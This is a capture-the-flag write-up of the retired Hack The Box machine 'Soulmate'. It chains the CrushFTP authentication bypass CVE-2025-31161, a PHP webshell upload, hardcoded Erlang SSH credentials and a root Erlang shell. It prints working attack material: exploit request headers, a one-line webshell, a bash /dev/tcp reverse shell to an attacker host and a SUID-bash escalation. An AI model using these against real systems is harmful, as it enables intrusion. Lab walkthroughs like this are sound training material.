root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat soulmate.md
// writeups

Soulmate

6 Sep 2025 · 19 min read
Soulmate - maquina de Hack The Box

Executive summary — Soulmate is an Easy Linux box with two surfaces: a PHP dating site (no viable RCE path) and a CrushFTP instance on a subdomain, vulnerable to CVE-2025-31161 (authentication bypass). After creating an admin user, a real disk folder has to be mapped into the user's VFS — a step so poorly documented it had to be automated by capturing the admin UI's real traffic with Selenium + mitmproxy. From there, a webshell gives www-data, and an Erlang script with a hardcoded password (reused by the real ben account) leads to a mini Erlang-based SSH server that, running as root with no privilege drop at all, hands out an Erlang REPL equivalent to root command execution.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.231.23

Attack map

[80] soulmate.htb — PHP dating site (photo upload has no viable bypass)
   │  epmd reveals an Erlang ssh_runner node + the ftp.soulmate.htb subdomain (CrushFTP)
   ▼
[CrushFTP] CVE-2025-31161 — auth bypass → admin account created
   │  VFS mapped to /app/webProd (real disk) via Selenium + mitmproxy
   ▼
[RCE]  Webshell uploaded → www-data
   │  Hardcoded ben:HouseH0ldings998 credential in an Erlang script running as root
   ▼
[SSH]  ben@host  (ForceCommand → interactive shell via paramiko)
   │  same password reused on the local Erlang-based SSH (127.0.0.1:2222)
   ▼
[ROOT]  Erlang Eshell with no privilege drop → os:cmd() as root

1. Reconnaissance

nmap -p- --min-rate 5000 -v 10.129.231.23 -oN nmap_ports.txt
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
4369/tcp  open     epmd
nmap -p22,80,4369 -sCV -v 10.129.231.23 -oN nmap_sV.txt
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|_    ssh_runner: 40979

The epmd-info reveals a registered Erlang node called ssh_runner. Connecting directly to its reported distribution port is refused from outside (Connection refused) — that node's real listener is on 127.0.0.1, and only becomes relevant once there's local code execution on the box.

2. Web enumeration — the dating site and the CrushFTP subdomain

http://10.129.231.23/ redirects to soulmate.htb: a PHP dating site with register/login, profile editing (/profile.php) with a photo upload, and a dashboard that requires a session.

The profile_pic upload was thoroughly probed for an extension-whitelist bypass (double extension shell.php.jpg, GIF+PHP polyglot, Content-Type spoofing, alternate extensions phtml/phar/pht/php3-7, uppercase, no extension). Every attempt was blocked consistently: only jpg/jpeg/png/gif are accepted, and the file is always renamed to {id}_{timestamp}.{extension}, leaving no real .php in the final name. Ruled out as an RCE vector.

After exhausting other reasonable enumeration, 0xdf's public writeup for this (now retired) box points to a ftp.soulmate.htb subdomain — confirmed live against the real IP, hosting a CrushFTP instance:

curl -s -i -H "Host: ftp.soulmate.htb" http://10.129.231.23/
HTTP/1.1 302 Redirect
Set-Cookie: currentAuth=3odT; path=/
Set-Cookie: CrushAuth=1785361952891_...; path=/; HttpOnly
location: /WebInterface/login.html

3. Foothold — CVE-2025-31161 (CrushFTP authentication bypass)

CrushFTP had two serious authentication-bypass CVEs in 2025 (CVE-2025-31161 in April, CVE-2025-54309 in November). The first was used here, with the public 0xgh057r3c0n/CVE-2025-31161 PoC, forcing the Host: ftp.soulmate.htb header (no sudo to edit /etc/hosts, so it connects straight by IP):

headers = {
    "Host": "ftp.soulmate.htb",
    "Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If",
    "Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/",
    "Connection": "close",
}

The vulnerability: CrushFTP treats the Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/ header as the start of an AWS S3-style auth flow, extracting the username (crushadmin) from the Credential field, but never actually completes or validates the signature — yet the session tied to the cookie ends up marked as partially authenticated, enough to call admin API functions. That's used to send a command=setUserItem that creates a new account (hacker01) in serverGroup=MainUsers, including a c2f field (last 4 characters of the CrushAuth cookie) that acts as an easily-replicable pseudo-CSRF token.

python3 CVE-2025-31161.py --target_host 10.129.231.23 --port 80 \
  --new_user hacker01 --password 'Hacker0nePass123!'
[+] Sending Account Create Request
  [!] User created successfully!
curl -s -c cookies.txt -H "Host: ftp.soulmate.htb" -X POST http://10.129.231.23/WebInterface/function/ \
  -d "command=login" -d "username=hacker01" -d "password=Hacker0nePass123!"
<loginResult><response>success</response><c2f>SgFA</c2f></loginResult>

With this session, command=getAdminXMLListing allows browsing the CrushFTP container's real disk with no sandbox restrictions, revealing /app/webProd — the real, deployed source code for soulmate.htb.

4. Mapping /app/webProd into the user's VFS — the hardest part

The newly created user has no real folder mounted — its root_dir is a purely virtual label, with no disk backing, regardless of the value assigned (tried root_dir=/, root_dir=/app/webProd/, with and without the file: scheme). That user's listing always comes back empty.

To map a REAL disk folder into a user's VFS, CrushFTP requires a vfs_items field with a very specific, poorly documented XML schema. After several failed manual attempts (with internal Java exceptions — a sign the format was hard to guess blind), the real admin UI was automated with Selenium + headless Firefox, capturing the browser's exact generated traffic with mitmproxy acting as a rewriting proxy (since /etc/hosts couldn't be edited):

# mitm_redirect.py — rewrites the real connection to the target IP, preserving the Host header
from mitmproxy import http
TARGET_IP = "10.129.231.23"
FAKE_HOSTS = {"ftp.soulmate.htb", "soulmate.htb"}

def request(flow: http.HTTPFlow) -> None:
    if flow.request.host in FAKE_HOSTS:
        flow.request.host = TARGET_IP
        flow.request.port = 80
        flow.request.scheme = "http"
        flow.request.headers["Host"] = flow.request.host
mitmdump -s mitm_redirect.py -p 8899 -w flows.mitm

With Firefox using that proxy, Selenium automated: login as hacker01 → navigate to the user manager → select hacker01 → in the VFS panel, drag-and-drop the webProd folder from «Server's Files» into «User's Stuff» → check «Upload» → save. The real payload captured by mitmproxy reveals the correct vfs_items XML schema (never documented in the earlier manual attempts):

<vfs_items type="vector">
  <vfs_items_subitem type="properties">
    <name>webProd</name>
    <path>/</path>
    <vfs_item type="vector">
      <vfs_item_subitem type="properties">
        <type>DIR</type>
        <url>FILE://app/webProd/</url>
      </vfs_item_subitem>
    </vfs_item>
  </vfs_items_subitem>
</vfs_items>

along with specific permissions (note the uppercase path, matching the folder name):

<VFS type="properties">
  <item name="/">(read)(view)(resume)</item>
  <item name="/WEBPROD/">(read)(write)(view)(resume)(makedir)(upload)</item>
</VFS>

Replaying this payload directly over curl (no need to repeat Selenium), the user's root_dir="/" ends up mapped 1:1 to the real disk at /app/webProd/:

curl -s -b cookies.txt -H "Host: ftp.soulmate.htb" "http://10.129.231.23/WebInterface/function/?command=getXMLListing&format=JSONOBJ&path=%2F"
"path" : "/webProd/", listing: [assets, dashboard.php, index.php, login.php, logout.php, profile.php, register.php]

5. Webshell upload and RCE

Direct HTTP upload proved unreliable (timeouts/502) on this particular instance, so the webshell was also uploaded via Selenium, using CrushFTP's normal file-browser upload flow.

<?php system($_REQUEST['cmd']); ?>
curl -s -H "Host: soulmate.htb" "http://10.129.231.23/cmd.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
nc -lvnp 4444
curl -s -H "Host: soulmate.htb" "http://10.129.231.23/cmd.php" \
  --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"'
www-data@soulmate:~/soulmate.htb/public$

A periodic cleanup process removes files that don't belong to the original source tree under /app/webProd — the webshell disappeared at one point during exploitation and had to be re-uploaded through the same Selenium flow.

6. Hardcoded credentials in an Erlang script

ls -la /var/www/soulmate.htb
ps auxww | grep erlang
root  1143  /usr/local/lib/erlang_login/start.escript -B ... -sname ssh_runner ...
root  1174  /usr/local/lib/erlang/erts-15.2.5/bin/epmd -daemon

This process runs as root and matches the ssh_runner node seen in the epmd scan:

cat /usr/local/lib/erlang_login/start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner

main(_) ->
    application:start(asn1), application:start(crypto),
    application:start(public_key), application:start(ssh),
    case ssh:daemon(2222, [
        {ip, {127,0,0,1}},
        {system_dir, "/etc/ssh"},
        {user_dir_fun, fun(User) -> filename:join(filename:join("/home", User), ".ssh") end},
        {connectfun, fun(User, PeerAddr, Method) -> ... true end},
        {failfun, fun(User, PeerAddr, Reason) -> ... true end},
        {auth_methods, "publickey,password"},
        {user_passwords, [{"ben", "HouseH0ldings998"}]},
        {idle_time, infinity}, {max_channels, 10}, {max_sessions, 10}, {parallel_login, true}
    ]) of
        {ok, _Pid} -> io:format("SSH daemon running on port 2222.~n");
        {error, Reason} -> io:format("Failed: ~p~n", [Reason])
    end,
    receive stop -> ok end.

Hardcoded plaintext credential: user ben, password HouseH0ldings998 — meant for the mini Erlang-based SSH server on 127.0.0.1:2222, but that same password is reused for the real ben OS account (port 22, real OpenSSH).

7. Real SSH as ben — and the ForceCommand obstacle (user.txt)

ssh ben@10.129.231.23   # password: HouseH0ldings998

Trying to run non-interactive commands (ssh ben@host 'id') produces no output at all, even though the client reports Exit status 0. Checking /etc/ssh/sshd_config:

Match User ben
    ForceCommand /usr/local/sbin/erlang_login_wrapper
    PermitTTY yes

ForceCommand replaces ANY command sent over SSH with the given script, ignoring whatever the client actually requested:

cat /usr/local/sbin/erlang_login_wrapper
#!/usr/bin/env bash
if ! /usr/local/lib/erlang_login/login.escript; then
  echo "[warn] erlang login wrapper failed; continuing" >&2
fi
USER_SHELL="${SHELL:-/bin/bash}"
exec "$USER_SHELL" -l

It always ends in an interactive login shell (bash -l), never running the one-off command passed over SSH. The fix is to drive a real interactive SSH session (with a pty) instead of ssh host 'command' — paramiko (invoke_shell() + sending over the channel) was used, writing to the pty the way a human would:

import paramiko, time
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect("10.129.231.23", username="ben", password="HouseH0ldings998")
chan = client.invoke_shell()
time.sleep(2); chan.recv(65536)
chan.send("cat /home/ben/user.txt\n"); time.sleep(2)
print(chan.recv(65536).decode())
fd2fa3a180e12f613168fbf9026ed2f4

8. Privilege escalation — password reuse against the Erlang-based SSH (root.txt)

ben@soulmate:~$ sudo -l
[sudo] password for ben:
Sorry, user ben may not run sudo on soulmate.

From ben's interactive session, connect to the local Erlang-based SSH server, reusing the same password seen in the script:

ben@soulmate:~$ ssh -p 2222 ben@localhost
...
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
ben@localhost's password: HouseH0ldings998
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1>

Authenticating against Erlang's ssh:daemon/2 doesn't give a Unix shell, but a full Eshell (Erlang REPL). The Erlang process serving this connection runs as root, and Erlang's ssh module does no setuid/privilege-drop at all when accepting the connection — it only checks username/password against the configured list, then hands over the default Erlang shell, with access to the whole standard library, including modules that talk to the operating system. Anyone able to authenticate against this Erlang-based SSH gets, in effect, a REPL with root privileges.

(ssh_runner@soulmate)1> {ok, Data} = file:read_file("/root/root.txt").
{ok,<<"3b49e18186b8b5a2a3d2d8a0a8abbe2b\n">>}

(ssh_runner@soulmate)2> os:cmd('id').
"uid=0(root) gid=0(root) groups=0(root)\n"

(ssh_runner@soulmate)3> os:cmd('cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash').
[]
ben@soulmate:~$ /tmp/rootbash -p -c 'id; cat /root/root.txt'
uid=1000(ben) gid=1000(ben) euid=0(root) egid=0(root) groups=0(root),1000(ben)
3b49e18186b8b5a2a3d2d8a0a8abbe2b

Cleanup: rm -f /tmp/rootbash fails as ben (sticky bit on /tmp, file owned by root) — but works fine from the Erlang shell itself (os:cmd('rm -f /tmp/rootbash')) since it's already root.

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdCrushFTPCVE-2025-31161 (authentication bypass via Authorization header)Admin-capable account creation
Post-exploitationCrushFTP VFSUndocumented vfs_items schema, abused to map real diskReal source read/write → RCE as www-data
Lateral movementErlang startup script (start.escript)Hardcoded credential reused on the real OS account benSSH access as ben (user.txt)
PrivEscLocal Erlang-based SSH server (port 2222, runs as root)No privilege drop: any valid login gets an Erlang REPL with os:cmd/1Root (root.txt)

Lessons learned

  • CVE-2025-31161 (CrushFTP) is a very powerful authentication bypass: a simple Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/ header combined with a self-consistent cookie allows creating admin-capable accounts with no prior credentials. Any unpatched CrushFTP exposed in 2025 is practically guaranteed RCE.
  • Don't assume a virtual «root_dir» implies real disk access: when an app's admin API is opaque and manual attempts keep failing with internal exceptions, automating the real UI with Selenium and capturing traffic with mitmproxy to "steal" the exact payload is far faster and more reliable than guessing the schema blind.
  • mitmproxy as a Host/IP rewriting proxy is a viable alternative when there's no write access to /etc/hosts but a real browser needs to resolve a specific vhost against an arbitrary IP.
  • ForceCommand in sshd_config breaks one-off remote command execution over SSH: automating anything against an account with this directive needs a real interactive session (pty) with paramiko, not the usual ssh host 'command' syntax.
  • A service built on Erlang's ssh module, if not explicitly restricted, hands out a full REPL — equivalent to arbitrary command execution — to anyone who knows the configured credentials. If that process runs as root, it's trivial privilege escalation the moment the password is known.
  • Password reuse between a hardcoded internal script and a real OS account remains one of the most common and effective post-exploitation patterns.